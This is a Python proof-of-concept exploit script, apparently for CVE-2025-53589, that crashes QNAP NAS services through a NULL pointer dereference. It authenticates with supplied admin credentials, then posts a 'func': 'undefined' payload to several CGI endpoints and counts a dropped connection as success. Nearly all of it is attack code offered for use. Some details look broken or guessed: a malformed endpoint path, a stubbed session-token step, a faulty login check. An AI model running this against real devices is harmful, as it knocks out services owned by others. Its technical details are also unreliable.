#!/usr/bin/env python3
# CVE-2025-53589 NULL Pointer Dereference PoC
# Target: QNAP NAS devices running vulnerable QTS/QuTS hero versions
# Note: Requires administrator credentials
import requests
import sys
import argparse
from urllib.parse import urljoin
def exploit_cve_2025_53589(target_url, username, password):
"""
Exploit for CVE-2025-53589: QNAP NULL Pointer Dereference
This PoC demonstrates the vulnerability by triggering the NULL pointer dereference
condition in the affected QNAP service.
"""
print(f"[*] Targeting: {target_url}")
print(f"[*] Credential: {username}:****")
# Setup session
session = requests.Session()
# Step 1: Authentication
login_url = urljoin(target_url, '/cgi-bin/authLogin.cgi')
login_data = {
'username': username,
'password': password
}
try:
print("[*] Attempting authentication...")
resp = session.post(login_url, data=login_data, timeout=10)
if 'authSid' not in resp.text and resp.status_code != 200:
print("[-] Authentication failed!")
return False
print("[+] Authentication successful!")
# Step 2: Extract session token
# In real attack, parse authSid from response
# Step 3: Trigger NULL pointer dereference
# The exact API endpoint varies by version
exploit_urls = [
'/cgi-bin/cfw/]().cgi',
'/cgi-bin/filemanager/utilRequest.cgi',
'/cgi-bin/sys/sysRequest.cgi'
]
print("[*] Sending exploit payload...")
for path in exploit_urls:
exploit_url = urljoin(target_url, path)
exploit_data = {
'func': 'undefined', # Triggers NULL pointer
'sid': session.cookies.get('authSid', '')
}
try:
resp = session.post(exploit_url, data=exploit_data, timeout=5)
print(f"[*] Tested: {path} - Status: {resp.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Exploit triggered (service crash): {e}")
return True
print("[+] Exploit sent - Target may be affected")
except Exception as e:
print(f"[-] Error: {e}")
return False
return True
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2025-53589 PoC')
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-u', '--username', required=True, help='Admin username')
parser.add_argument('-p', '--password', required=True, help='Admin password')
args = parser.parse_args()
exploit_cve_2025_53589(args.target, args.username, args.password)